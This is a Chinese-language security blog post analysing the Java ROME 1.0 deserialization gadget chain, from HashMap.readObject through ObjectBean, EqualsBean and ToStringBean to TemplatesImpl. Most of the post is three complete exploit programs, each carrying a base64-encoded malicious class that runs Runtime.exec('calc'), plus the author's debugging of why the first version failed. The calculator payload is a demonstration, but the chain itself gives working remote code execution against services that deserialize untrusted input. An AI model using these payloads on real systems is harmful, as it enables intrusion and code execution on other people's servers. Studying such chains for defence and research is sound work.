java_Rome链

Rome主要是用于解析RSS与Atom元数据的框架

RSS：RSS 是一种用于发布和订阅网站内容的 XML 格式。它允许网站所有者将更新的内容以结构化的方式提供给订阅者。通过使用 RSS，用户可以通过 RSS 阅读器或其他应用程序来获取网站的最新文章、新闻、博客等内容，而无需直接访问网站。

Atom：Atom 同样是一种用于发布和订阅网站内容的 XML 格式。它基于更严格和一致的标准，并提供了更灵活的数据模型，使其适用于各种类型的内容发布和分发。Atom 提供了更多的元数据和扩展性，可以支持更复杂的内容结构。类似于 RSS，用户可以通过 Atom 阅读器或其他应用程序来订阅并读取网站的内容。

环境

• rome1.0
• jdk8u65

调用链

HashMap.readObject()->
	ObjectBean.hashCode()->
		EqualsBean.beanHashCode()->
			ToStringBean.tostring()->
				ToStringBean.(private)tostring()->
					TemplatesImpl.getOutputProperties()->
						接壤cc链2

调用链分析

老样子，先进入HashMap的readObject方法

这里我们将key赋值为ObjectBean，调用ObjectBean的hashCode方法

由构造方法可以看出这个equalsBean是EqualsBean的对象，调用EqualsBean的beanHashCode方法

从刚刚的ObjectBean类的构造方法以及EqualsBean类的构造方法可以看出，这个obj属性是可控的，将它赋值为ToStringBean，跟进ToStringBean的tostring方法

继续调用私有的tostring方法

PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(_beanClass);是获取beanClass的所有getter方法，而后通过反射调用这个getter方法

从构造方法我们可以看到，beanClass和obj两个属性都是可控的，我们再看看Templates接口，它只有一个getter方法，也就是getOutputProperties()

那我们的思路就是：将beanClass赋值为Templates类，然后将obj赋值为恶意的TemplatesImpl对象即可，而后就和cc链2是一致的了

尝试编写exp

package main.java.Rome;

import com.sun.org.apache.xml.internal.security.utils.Base64;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.management.BadAttributeValueExpException;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;

public class exp_1 {
    public static void main(String[] args) throws Exception {
        //构造恶意类TestTemplatesImpl转换为字节码并进行base64编码
        byte[] bytes = Base64.decode("yv66vgAAADQAMgoAAgADBwAEDAAFAAYBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAGPGluaXQ+AQADKClWCgAIAAkHAAoMAAsADAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwgADgEABGNhbGMKAAgAEAwAEQASAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwcAFAEAE2phdmEvbGFuZy9FeGNlcHRpb24KABMAFgwAFwAGAQAPcHJpbnRTdGFja1RyYWNlBwAZAQAfbWFpbi9qYXZhL2NjMi9UZXN0VGVtcGxhdGVzSW1wbAEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAEdGhpcwEAIUxtYWluL2phdmEvY2MyL1Rlc3RUZW1wbGF0ZXNJbXBsOwEADVN0YWNrTWFwVGFibGUBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAKgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEAFlRlc3RUZW1wbGF0ZXNJbXBsLmphdmEAIQAYAAIAAAAAAAMAAQAFAAYAAQAaAAAAfAACAAIAAAAWKrcAAbgABxINtgAPV6cACEwrtgAVsQABAAQADQAQABMAAwAbAAAAGgAGAAAADAAEAA4ADQARABAADwARABAAFQASABwAAAAWAAIAEQAEAB0AHgABAAAAFgAfACAAAAAhAAAAEAAC/wAQAAEHABgAAQcAEwQAAQAiACMAAgAaAAAAPwAAAAMAAAABsQAAAAIAGwAAAAYAAQAAABYAHAAAACAAAwAAAAEAHwAgAAAAAAABACQAJQABAAAAAQAmACcAAgAoAAAABAABACkAAQAiACsAAgAaAAAASQAAAAQAAAABsQAAAAIAGwAAAAYAAQAAABoAHAAAACoABAAAAAEAHwAgAAAAAAABACQAJQABAAAAAQAsAC0AAgAAAAEALgAvAAMAKAAAAAQAAQApAAEAMAAAAAIAMQ==");
        //反射创建TemplatesImpl
        Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        Constructor<?> constructor = aClass.getDeclaredConstructor(new Class[]{});
        Object TemplatesImpl_instance = constructor.newInstance();
        //将恶意类的字节码设置给_bytecodes属性
        Field bytecodes = aClass.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(TemplatesImpl_instance , new byte[][]{bytes});
        //设置属性_name为恶意类名
        Field name = aClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(TemplatesImpl_instance , "TestTemplatesImpl");

        ToStringBean toStringBean = new ToStringBean(Templates.class, TemplatesImpl_instance);
        EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
        ObjectBean objectBean = new ObjectBean(String.class, "a");

        HashMap hashMap = new HashMap();
        hashMap.put(objectBean ,1);

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(hashMap);
        oos.flush();
        oos.close();

        //测试反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();
    }
}

没有报错，但是没有弹出计算器，但是我总感觉没问题，调试的时候idea又有点怪，明明key确实是ObjectBean，但是就是进不去

最后进过一个多小时的折磨，问题是出在EqualsBean的beanHashCode()方法

可以看到这里的obj是a，并不是我们想要的ObjectTostring，原因是ObjectBean并没有与Objectbean建立起联系，也就是没有构成一条链子，解决办法就是从源头改，将_equalsBean属性通过反射赋值为我们定义的equalsBean（必须是这样，我试过在实例化时修改，是不行的，因为ObjectBean的实例化参数并不会影响_equalsBean）

修改exp

package main.java.Rome;

import com.sun.org.apache.xml.internal.security.utils.Base64;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.management.BadAttributeValueExpException;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;

public class exp_1 {
    public static void main(String[] args) throws Exception {
        //构造恶意类TestTemplatesImpl转换为字节码并进行base64编码
        byte[] bytes = Base64.decode("yv66vgAAADQAMgoAAgADBwAEDAAFAAYBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAGPGluaXQ+AQADKClWCgAIAAkHAAoMAAsADAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwgADgEABGNhbGMKAAgAEAwAEQASAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwcAFAEAE2phdmEvbGFuZy9FeGNlcHRpb24KABMAFgwAFwAGAQAPcHJpbnRTdGFja1RyYWNlBwAZAQAfbWFpbi9qYXZhL2NjMi9UZXN0VGVtcGxhdGVzSW1wbAEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAEdGhpcwEAIUxtYWluL2phdmEvY2MyL1Rlc3RUZW1wbGF0ZXNJbXBsOwEADVN0YWNrTWFwVGFibGUBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAKgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEAFlRlc3RUZW1wbGF0ZXNJbXBsLmphdmEAIQAYAAIAAAAAAAMAAQAFAAYAAQAaAAAAfAACAAIAAAAWKrcAAbgABxINtgAPV6cACEwrtgAVsQABAAQADQAQABMAAwAbAAAAGgAGAAAADAAEAA4ADQARABAADwARABAAFQASABwAAAAWAAIAEQAEAB0AHgABAAAAFgAfACAAAAAhAAAAEAAC/wAQAAEHABgAAQcAEwQAAQAiACMAAgAaAAAAPwAAAAMAAAABsQAAAAIAGwAAAAYAAQAAABYAHAAAACAAAwAAAAEAHwAgAAAAAAABACQAJQABAAAAAQAmACcAAgAoAAAABAABACkAAQAiACsAAgAaAAAASQAAAAQAAAABsQAAAAIAGwAAAAYAAQAAABoAHAAAACoABAAAAAEAHwAgAAAAAAABACQAJQABAAAAAQAsAC0AAgAAAAEALgAvAAMAKAAAAAQAAQApAAEAMAAAAAIAMQ==");
        //反射创建TemplatesImpl
        Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        Constructor<?> constructor = aClass.getDeclaredConstructor(new Class[]{});
        Object TemplatesImpl_instance = constructor.newInstance();
        //将恶意类的字节码设置给_bytecodes属性
        Field bytecodes = aClass.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(TemplatesImpl_instance , new byte[][]{bytes});
        //设置属性_name为恶意类名
        Field name = aClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(TemplatesImpl_instance , "TestTemplatesImpl");

        ToStringBean toStringBean = new ToStringBean(Templates.class, TemplatesImpl_instance);
        EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
        ObjectBean objectBean = new ObjectBean(String.class, "a");

        setFieldValue(objectBean, "_equalsBean", equalsBean);

        HashMap hashMap = new HashMap();
        hashMap.put(objectBean ,1);

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(hashMap);
        oos.flush();
        oos.close();

        //测试反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();
    }
    public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

还有一种方法，使用BadAttributeValueExpException的readObject调用相关的tostring，这个比较简单，有兴趣的师傅可以再跟一下

package main.java.Rome;

import com.sun.org.apache.xml.internal.security.utils.Base64;
import com.sun.syndication.feed.impl.ObjectBean;

import javax.management.BadAttributeValueExpException;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;

public class exp_2 {
    public static void main(String[] args) throws Exception {
        //构造恶意类TestTemplatesImpl转换为字节码并进行base64编码
        byte[] bytes = Base64.decode("yv66vgAAADQAMgoAAgADBwAEDAAFAAYBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAGPGluaXQ+AQADKClWCgAIAAkHAAoMAAsADAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwgADgEABGNhbGMKAAgAEAwAEQASAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwcAFAEAE2phdmEvbGFuZy9FeGNlcHRpb24KABMAFgwAFwAGAQAPcHJpbnRTdGFja1RyYWNlBwAZAQAfbWFpbi9qYXZhL2NjMi9UZXN0VGVtcGxhdGVzSW1wbAEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAEdGhpcwEAIUxtYWluL2phdmEvY2MyL1Rlc3RUZW1wbGF0ZXNJbXBsOwEADVN0YWNrTWFwVGFibGUBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAKgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEAFlRlc3RUZW1wbGF0ZXNJbXBsLmphdmEAIQAYAAIAAAAAAAMAAQAFAAYAAQAaAAAAfAACAAIAAAAWKrcAAbgABxINtgAPV6cACEwrtgAVsQABAAQADQAQABMAAwAbAAAAGgAGAAAADAAEAA4ADQARABAADwARABAAFQASABwAAAAWAAIAEQAEAB0AHgABAAAAFgAfACAAAAAhAAAAEAAC/wAQAAEHABgAAQcAEwQAAQAiACMAAgAaAAAAPwAAAAMAAAABsQAAAAIAGwAAAAYAAQAAABYAHAAAACAAAwAAAAEAHwAgAAAAAAABACQAJQABAAAAAQAmACcAAgAoAAAABAABACkAAQAiACsAAgAaAAAASQAAAAQAAAABsQAAAAIAGwAAAAYAAQAAABoAHAAAACoABAAAAAEAHwAgAAAAAAABACQAJQABAAAAAQAsAC0AAgAAAAEALgAvAAMAKAAAAAQAAQApAAEAMAAAAAIAMQ==");
        //反射创建TemplatesImpl
        Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        Constructor<?> constructor = aClass.getDeclaredConstructor(new Class[]{});
        Object TemplatesImpl_instance = constructor.newInstance();
        //将恶意类的字节码设置给_bytecodes属性
        Field bytecodes = aClass.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(TemplatesImpl_instance , new byte[][]{bytes});
        //设置属性_name为恶意类名
        Field name = aClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(TemplatesImpl_instance , "TestTemplatesImpl");

        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        ObjectBean bean = new ObjectBean(Templates.class, TemplatesImpl_instance);
        Field v = val.getClass().getDeclaredField("val");
        v.setAccessible(true);
        v.set(val, bean);

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(val);
        oos.flush();
        oos.close();

        //测试反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();
    }
}

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